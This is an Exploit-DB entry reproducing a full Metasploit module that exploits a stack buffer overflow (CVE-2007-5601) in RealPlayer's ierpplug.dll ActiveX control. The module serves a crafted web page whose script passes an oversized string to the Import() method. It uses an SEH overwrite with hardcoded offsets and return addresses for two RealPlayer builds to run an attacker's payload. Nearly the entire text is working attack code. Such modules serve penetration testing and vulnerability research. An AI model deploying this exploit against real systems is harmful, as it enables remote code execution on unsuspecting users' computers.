标题: RealPlayer - 'ierpplug.dll' ActiveX Control Playlist Name Buffer Overflow (Metasploit) EDB-ID: 16497 CVE: 2007-5601 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: realplayer_import.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'RealPlayer ierpplug.dll ActiveX Control Playlist Name Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in RealOne Player V2 Gold Build 6.0.11.853 and
    RealPlayer 10.5 Build 6.0.12.1483. By sending an overly long string to the "Import()"
    method, an attacker may be able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2007-5601' ],
     [ 'OSVDB', '41430' ],
     [ 'BID', '26130' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 800,
     'BadChars'      => "\x00\x09\x0a\x0d'\\",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'IE / RealOne Player 2 (6.0.11.853)',     { 'Offset' => 4756, 'Ret' => 0x601aa72b } ], #rpmn3260.dll (6.0.9.1419)
     [ 'IE / RealPlayer 10.5 (6.0.12.1483)',     { 'Offset' => 4768, 'Ret' => 0x614bd13b } ], #rpmn3260.dll (6.0.9.2934)
    ],
   'DisclosureDate' => 'Oct 18 2007',
   'DefaultTarget'  => 0))
 end

 def autofilter
   false
 end

 def check_dependencies
   use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Randomize some things
  vname = rand_text_alpha(rand(100) + 1)
  strname = rand_text_alpha(rand(100) + 1)

  # Set the exploit buffer
  filler = rand_text_english(target['Offset'])
  seh    = generate_seh_payload(target.ret)
  sploit = filler + seh + rand_text_english(30724 - payload.encoded.length)

  # [id(0x60020009), helpstring("Imports a file to RealPlayer's Media Library")]
  # long Import(
  #                 [in] BSTR file,
  #                 [in, optional, defaultvalue("")] BSTR playlist,
  #                 [in, optional, defaultvalue("")] BSTR clipInfo,
  #                 [in, optional, defaultvalue(0)] long bPlayFile,
  #                 [in, optional, defaultvalue(0)] long bCopyToMyMusic);

  # Build out the message
  content = %Q|
   <html>
   <object classid='clsid:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5' id='#{vname}'></object>
   <script language='javascript'>
   var #{vname} = document.getElementById('#{vname}');
   var #{strname} = new String('#{sploit}');
   #{vname}.Import("Firstrun\\\\audio.rm" ,#{strname} ,"" ,0 ,0);
   </script>
   </html>
   |

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16497